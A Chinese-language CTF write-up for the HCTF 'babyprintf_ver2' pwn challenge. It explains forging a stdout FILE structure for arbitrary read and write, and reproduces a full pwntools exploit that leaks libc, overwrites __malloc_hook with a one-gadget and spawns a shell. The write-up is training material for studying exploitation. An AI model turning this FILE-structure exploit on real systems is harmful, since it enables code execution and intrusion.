hctf[pwn]babyprintf_ver2

0x01程序分析
程序给出了data段的地址,然后允许向这个地址处输入0x1ff个字节。

hctf[pwn]babyprintf_ver2_第1张图片
这个data段到底存的是什么呢?

pwndbg> print $rbx + $rax
$1 = 0x555555756011
pwndbg> x /50xg 0x555555756011
0x555555756011:	0x7200676664647364	0x200000000000646c
0x555555756021 :	0x0000007ffff7dd26	0x0000000000000000
0x555555756031:	0x0000000000000000	0x0000000000000000
pwndbg> x /10s 0x555555756011
0x555555756011:	"dsddfg"
0x555555756018:	"rld"
0x55555575601c:	""
0x55555575601d:	""
0x55555575601e:	""
0x55555575601f:	""
0x555555756020 :	" &\335\367\377\177"
0x555555756027 :	""

输入数据下面存放的是stdout的地址,
可以伪造vtable劫持程序执行流。
printf有个格式化漏洞,但是这玩意好像不能用,只能用来得到程序运行时候的地址

0x02leak
没有system函数,首先需要leak。
通过覆盖stdout来伪造_IO_FILE_plus结构。

def leak(where):
    p = 'A' * 16
    p += p64(buf + 32)
    p += p64(0)
    p += pack_file(_flags = 0xfbad2887,
                  _IO_read_end = where,
                  _IO_write_base = where,
                  _IO_write_ptr = where + 8,
                  _fileno = 1,
                  _lock = buf + 0x100)
    s.sendline(p)
    s.recvline()
    return u64(s.recv(8))

需要修改当前读的指针,输出开始的地址,当前输出的地址(这个也是不可少的),fileno=1表示输出流,lock不清楚ennnnnn
下面是file结构

struct _IO_FILE {  
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */  
#define _IO_file_flags _flags  
  /* The following pointers correspond to the C++ streambuf protocol. */  
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */  
  char* _IO_read_ptr;   /* Current read pointer */  
  char* _IO_read_end;   /* End of get area. */  
  char* _IO_read_base;  /* Start of putback+get area. */  
  char* _IO_write_base; /* Start of put area. */  
  char* _IO_write_ptr;  /* Current put pointer. */  
  char* _IO_write_end;  /* End of put area. */  
  char* _IO_buf_base;   /* Start of reserve area. */  
  char* _IO_buf_end;    /* End of reserve area. */  
  /* The following fields are used to support backing up and undo. */  
  char *_IO_save_base; /* Pointer to start of non-current get area. */  
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */  
  char *_IO_save_end; /* Pointer to end of non-current get area. */  
  struct _IO_marker *_markers;  
  struct _IO_FILE *_chain;  
  int _fileno;//这个就是linux内核中文件描述符fd  
#if 0  
  int _blksize;  
#else  
  int _flags2;  
#endif  
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */  
#define __HAVE_COLUMN /* temporary */  
  /* 1+column number of pbase(); 0 is unknown. */  
  unsigned short _cur_column;  
  signed char _vtable_offset;  
  char _shortbuf[1];  
  /*  char* _save_gptr;  char* _save_egptr; */  
  _IO_lock_t *_lock;  
#ifdef _IO_USE_OLD_IO_FILE  
};  
struct _IO_FILE_plus  
{  
  _IO_FILE file;  
  const struct _IO_jump_t *vtable;//IO函数跳转表  
}; 

总之上面那一套可以用来作为file结构伪造任意读的套路
需要一个缓冲区的输出,需要对stdout可写。

0x03写入

def write(what, where):
    while what:
        p = 'A' * 16
        p += p64(buf + 32)
        p += p64(0)
        p += pack_file(_flags = 0xfbad2887,
                      _IO_read_end = buf,
                      _IO_buf_base = where,
                      _fileno = 1,
                      _lock = buf + 0x100)
        s.sendline(p)
        s.sendline(chr(what & 0xff))
        where += 1
		s.recv()
        what >>= 8

_IO_read_end表示获取输入的结束地址
_IO_buf_base表示备用地址的开始
下面仅仅是我的猜测ennnnnn(以后学会了再填上这个坑吧):检测到程序获取输入结束的地址是输入地址,缓冲区内存不足,重新获取输入存放到备用的空间中造成任意写。(好牵强)

不过这个套路很实用,每次写一个字节也很稳定。
用这个需要一个printf好多输入,对stdout可以伪造。
自己没本事写出来贴上别人的脚本吧

先leak,向_hook_malloc地址处写入onegadget,让程序崩溃调用malloc

from pwn import *
context.log_level="debug"
local = True

# Credits: https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/
def pack_file(_flags = 0,
              _IO_read_ptr = 0,
              _IO_read_end = 0,
              _IO_read_base = 0,
              _IO_write_base = 0,
              _IO_write_ptr = 0,
              _IO_write_end = 0,
              _IO_buf_base = 0,
              _IO_buf_end = 0,
              _IO_save_base = 0,
              _IO_backup_base = 0,
              _IO_save_end = 0,
              _IO_marker = 0,
              _IO_chain = 0,
              _fileno = 0,
              _lock = 0):
    struct = p32(_flags) + \
             p32(0) + \
             p64(_IO_read_ptr) + \
             p64(_IO_read_end) + \
             p64(_IO_read_base) + \
             p64(_IO_write_base) + \
             p64(_IO_write_ptr) + \
             p64(_IO_write_end) + \
             p64(_IO_buf_base) + \
             p64(_IO_buf_end) + \
             p64(_IO_save_base) + \
             p64(_IO_backup_base) + \
             p64(_IO_save_end) + \
             p64(_IO_marker) + \
             p64(_IO_chain) + \
             p32(_fileno)
    struct = struct.ljust(0x88, "\x00")
    struct += p64(_lock)
    struct = struct.ljust(0xd8, "\x00")
    return struct

def write(what, where):
    while what:
        p = 'A' * 16
        p += p64(buf + 32)
        p += p64(0)
        p += pack_file(_flags = 0xfbad2887,
                      _IO_read_end = buf,
                      _IO_buf_base = where,
                      _fileno = 1,
                      _lock = buf + 0x100)
        s.sendline(p)
        s.sendline(chr(what & 0xff))
        where += 1
	s.recv()
	raw_input()
        what >>= 8

def leak(where):
    p = 'A' * 16
    p += p64(buf + 32)
    p += p64(0)
    p += pack_file(_flags = 0xfbad2887,
                  _IO_read_end = where,
                  _IO_write_base = where,
                  _IO_write_ptr = where + 8,
                  _fileno = 1,
                  _lock = buf + 0x100)
    s.sendline(p)
    s.recvline()
    return u64(s.recv(8))

if local:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    ONE_SHOT = 0x4526A

    s = process('./babyprintf_ver2')
else:
    libc = ELF('./libc64.so')
    ONE_SHOT = 0x4F322

    s = remote('150.109.44.250', 20005)
    s.sendline('IDEp7goBeitrNz1gO8MgiKWiOSgiiC4W')

s.recvuntil('0x')
buf = int(s.recv(12), 16)

print 'buf @ ' + hex(buf)

s.recvuntil('Have fun!\n')

libc_base = leak(buf + 0xf8) - libc.symbols['_IO_file_jumps']

gdb.attach(s)

malloc_hook = libc_base + libc.symbols['__malloc_hook']
one_shot = libc_base + ONE_SHOT

print 'libc @ ' + hex(libc_base)

write(one_shot, malloc_hook)

s.sendline('%66000c')
s.recvuntil('\x7f')

s.interactive()

你可能感兴趣的:(ctf,漏洞利用技巧)